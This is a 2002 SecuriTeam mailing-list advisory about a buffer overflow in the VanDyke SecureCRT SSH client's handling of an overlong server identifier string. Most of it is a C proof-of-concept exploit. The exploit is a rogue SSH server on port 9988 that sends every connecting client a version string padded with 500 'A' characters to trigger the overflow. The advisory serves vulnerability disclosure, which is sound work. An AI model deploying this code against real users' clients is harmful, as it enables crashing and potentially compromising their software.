[EXPL] Arbitrary Code Execution Vulnerability in VanDyke SecureCRT

From: support@securiteam.com
Date: 07/24/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 24 Jul 2002 09:07:12 +0200 (CEST)

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  Arbitrary Code Execution Vulnerability in VanDyke SecureCRT
------------------------------------------------------------------------

SUMMARY

 <http://www.vandyke.com/products/securecrt/> SecureCRT seems to have a
bug in a seemingly trivial portion of it is SSH connection code. When an
SSH Client connects to a server, the server sends a version string
containing minor and major numbers for the protocol, as well as a
server-specific identifier string that is specified to be no more than 40
bytes long. Unfortunately, the SecureCRT code that handles errors relating
to an unsupported protocol version contains an unchecked buffer overflow
when dealing with this identifier string.

DETAILS

Exploit:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 9988

int main(int argc, char **argv) {
    int s, n, i, sz = sizeof(struct sockaddr_in);
    struct sockaddr_in local, whatever;
    char payload[510];

    strcpy(payload, "SSH-1.1-");
    for (i = 8; i < 508; i++)
        payload[i] = 'A';
    payload[508] = '\n';
    payload[509] = '\0';

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket");
        return 1;
    }
    local.sin_family = AF_INET;
    local.sin_port = htons(PORT);
    local.sin_addr.s_addr = INADDR_ANY;
    memset(&(local.sin_zero), 0, 8);
    if (bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1)
{
        perror("bind");
        return 1;
    }
    if (listen(s, 2) == -1) {
        perror("listen");
        return 1;
    }
    printf("waiting for connection...\n");
    if ((n = accept(s, (struct sockaddr *)&whatever, &sz)) == -1) {
        perror("accept");
        return 1;
    }
    printf("client connected\n");
    if (send(n, payload, sizeof(payload) - 1, 0) == -1) {
        perror("send");
        return 1;
    }
    printf("sent string: [%s]\n", payload);
    close(n);
    close(s);
    return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:ogl@SirDrinkalot.rm-f.net>
Kyuzo.

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